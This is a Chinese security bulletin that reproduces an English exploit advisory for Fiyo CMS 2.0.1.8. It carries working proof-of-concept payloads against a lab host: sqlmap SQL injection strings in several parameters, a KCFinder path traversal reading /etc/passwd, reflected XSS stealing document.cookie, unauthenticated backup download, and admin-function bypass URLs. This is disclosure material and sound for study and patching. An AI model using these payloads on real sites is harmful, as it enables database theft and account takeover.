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安全研究

安全漏洞

Fiyo CMS 2.0.1.8多个漏洞

发布日期：2015-04-01
更新日期：2015-04-01

受影响系统：

Fiyo CMS Fiyo CMS 2.0.1.8

描述：

CVE(CAN) ID: CVE-2014-9145

Fiyo CMS是小型的商务电话服务及移动合作工具。

Fiyo CMS 2.0.1.8存在多个SQL注入漏洞、目录遍历漏洞、反射型XSS漏洞、直接URL访问漏洞、访问控制绕过漏洞等。攻击者可利用这些漏洞执行未授权操作。

<*来源：Mahendra
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

# Exploit Title: FiyoCMS Multiple Vulnerabilities
# Date: 29 March 2015
# Exploit Author: Mahendra
# Vendor Homepage: www.fiyo.org
# Software Link: http://sourceforge.net/projects/fiyo-cms/
# Version: 2.0.1.8, other version might be vulnerable.
# Tested : Kali Linux 1.0.9a-amd64
# CVE(s): CVE-2014-9145,CVE-2014-9146,CVE-2014-9147,CVE-2014-9148

*Advisory Timeline*
30-11-2014: Vendor notified and responded back
01-12-2014: Vulnerabilities provided to vendor
03-14-2015: Vendor released newer version claimed to fix the vulnerabilities
29-03-2015: Advisory released

----------------------------------------------------
FiyoCMS 2.0.1.8 SQL injection, XSS, Direct URL bypass
----------------------------------------------------
*Advisory details*

Several security issues have been identified on the latest FiyoCMS platform.

*Proof of Concept (PoC)*

----------------------------------------------------
Multiple SQL Injection - CVE-2014-9145
----------------------------------------------------

* PoC:

http://192.168.248.132/fiyo/dapur/index.php?app=user&act=edit&id=1[sqli]

* Sqlmap:

Parameter: id
    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: app=user&act=edit&id=-7672 UNION ALL SELECT NULL,NULL,CONCAT(0x7171676471,0x66457070464452786c58,0x716a767471),NULL,NULL,NULL,NULL,NULL,NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: app=user&act=edit&id=1 AND SLEEP(5)

* PoC:

http://192.168.248.132/fiyo/dapur/apps/app_article/controller/article_list.php?cat=[sqli]&user=[sqli]&level=[sqli]&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913

* Sqlmap:

Parameter: cat
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: cat=' AND (SELECT 4352 FROM(SELECT COUNT(*),CONCAT(0x71666f7671,(SELECT (CASE WHEN (4352=4352) THEN 1 ELSE 0 END)),0x7164687671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'yeEe'='yeEe&user=&level=&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913

    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: cat=' UNION ALL SELECT NULL,CONCAT(0x71666f7671,0x4f654364434f746c7477,0x7164687671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&user=&level=&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: cat=' AND 2332=BENCHMARK(5000000,MD5(0x4a495770)) AND 'RlLS'='RlLS&user=&level=&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913

Parameter: level
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: cat=&user=&level=' AND (SELECT 6522 FROM(SELECT COUNT(*),CONCAT(0x71666f7671,(SELECT (CASE WHEN (6522=6522) THEN 1 ELSE 0 END)),0x7164687671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Pqqp'='Pqqp&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913

    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: cat=&user=&level=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71666f7671,0x6163446a67456e557a48,0x7164687671),NULL,NULL,NULL#&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: cat=&user=&level=' AND 6567=BENCHMARK(5000000,MD5(0x57586864)) AND 'hMLH'='hMLH&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913


Parameter: user
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: cat=&user=' AND (SELECT 8990 FROM(SELECT COUNT(*),CONCAT(0x71666f7671,(SELECT (CASE WHEN (8990=8990) THEN 1 ELSE 0 END)),0x7164687671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VhKM'='VhKM&level=&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913

    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: cat=&user=' UNION ALL SELECT NULL,CONCAT(0x71666f7671,0x4652577247546e6b5241,0x7164687671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&level=&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: cat=&user=' AND 1262=BENCHMARK(5000000,MD5(0x72797451)) AND 'egJe'='egJe&level=&sEcho=1&iColumns=7&sColumns=&iDisplayStart=0&iDisplayLength=10&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&mDataProp_5=5&mDataProp_6=6&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&sSearch_5=&bRegex_5=false&bSearchable_5=true&sSearch_6=&bRegex_6=false&bSearchable_6=true&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=true&bSortable_6=true&_=1417159921913

* PoC:
    POST /fiyo/dapur/apps/app_user/controller/check_user.php HTTP/1.1
    Host: 192.168.248.132
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Referer: http://192.168.248.132/fiyo/dapur/index.php?app=user&act=add
    Content-Length: 42
    Cookie: PHPSESSID=0nij9ucentr8p4ih41d0p61476; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache

    act=email&email=test@asdas.com[sqli]

* Sqlmap:

Parameter: email
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: act=email&email=test@asdas.com' AND 5514=5514 AND 'KTqH'='KTqH

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: act=email&email=test@asdas.com' AND SLEEP(5) AND 'UjqT'='UjqT

* PoC:

    POST /fiyo/dapur/apps/app_user/controller/check_user.php HTTP/1.1
    Host: 192.168.248.132
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Referer: http://192.168.248.132/fiyo/dapur/index.php?app=user&act=add
    Content-Length: 34
    Cookie: PHPSESSID=0nij9ucentr8p4ih41d0p61476; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache

    act=user&username=test[sqli]

* Sqlmap:

Parameter: username
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: act=user&username=test' AND 5514=5514 AND 'KTqH'='KTqH

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: act=user&username=test' AND SLEEP(5) AND 'UjqT'='UjqT

--------------------------------------------------------------------
Directory Traversal - kcfinder plugins - CVE-2014-1222
--------------------------------------------------------------------

FiyoCMS was identified to be using an outdated KCFinder plugin which vulnerable to directory traversal attack.

POST /fiyo//plugins/plg_kcfinder/browse.php?type=files&lng=en&act=download HTTP/1.1
Host: 192.168.248.132
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.248.132/fiyo//plugins/plg_kcfinder/browse.php?type=files
Cookie: PHPSESSID=0nij9ucentr8p4ih41d0p61476; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

dir=files&file=../../../../../../../etc/passwd

----------------------------------------------------
Reflected XSS  - CVE-2014-9146
----------------------------------------------------

http://192.168.248.132/fiyo/?app=article&view=item31ab2"><script>alert(1)</script>0ccba&id=186
http://192.168.248.132/fiyo/?app=article&view=item&id=18690fdb"><script>alert(1)</script>d99c9
http://192.168.248.132/fiyo/?page=5eac15eac1"><script>alert(1)</script>774f2
http://192.168.248.132/fiyo/?app=article95ce1"><script>alert(1)</script>298ab&view=item&id=186
http://192.168.248.132/fiyo/dapur/index.php?app=module&act=edit%22%3E%3C/script%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&id=5

----------------------------------------------------
Direct URL Access - CVE-2014-9147
----------------------------------------------------
To download database backup without any authentications required.
http://192.168.248.132/fiyo/.backup/[db_backup.sql filename]

----------------------------------------------------
Access Control Bypass - CVE-2014-9148
----------------------------------------------------

To access super administrator functions "Install & Update" and "Backup" by administrator user, just go directly to the URL below:
  1. http://192.168.248.132/fiyo/dapur/?app=config&view=backup
  2. http://192.168.248.132/fiyo/dapur/?app=config&view=install

建议：

厂商补丁：

Fiyo CMS
--------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://sourceforge.net/projects/fiyo-cms/

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